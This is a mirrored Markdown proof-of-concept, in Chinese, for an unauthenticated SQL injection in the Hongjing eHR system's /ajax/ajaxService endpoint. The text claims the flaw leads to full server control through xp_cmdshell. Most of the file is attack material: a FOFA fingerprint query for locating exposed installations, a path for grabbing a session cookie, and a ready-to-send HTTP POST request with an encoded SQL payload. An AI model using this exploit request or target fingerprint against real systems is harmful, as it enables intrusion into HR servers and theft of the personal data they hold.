mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-07-29 14:04:06 +00:00
30 lines
1.1 KiB
Markdown
30 lines
1.1 KiB
Markdown
# 宏景eHR系统ajaxService接口处存在SQL注入漏洞
|
||
|
||
宏景eHR /ajax/ajaxService 接口处存在SQL注入漏洞，,未经身份验证的远程攻击者通过利用SQL注入漏洞配合数据库xp_cmdshell可以执行任意命令，从而控制服务器。经过分析与研判，该漏洞利用难度低，建议尽快修复。
|
||
|
||
## fofa
|
||
|
||
```yaml
|
||
body="hjaxmanage.js" && (body="/template/signature/encryptionlock/websocket.js" || body="/ajax/basic.js")
|
||
```
|
||
|
||
## poc
|
||
|
||
获取cookie payload：
|
||
|
||
```yaml
|
||
/templates/index/getpassword.jsp
|
||
```
|
||
|
||
|
||
|
||
```yaml
|
||
POST /ajax/ajaxService HTTP/1.1
|
||
Host:
|
||
Cookie: 抓到的cookie
|
||
Content-Type: application/x-www-form-urlencoded
|
||
|
||
__type=extTrans&__xml={"functionId":"151211001137","sql":"select~20sys.fn_sqlvarbasetostr(HASHBYTES('MD5','1'))~20a~30~31~30~30~2c~31~20a~30~31~30~31~2c~31~20b~30~31~31~30~2c~31~20e~30~31~32~32~2c~31~20e~30~31a~31~2c~31~20dbase~2c~31~20a~30~30~30~30~20from~20operuser","nbase":"1"}
|
||
```
|
||
|
||
 |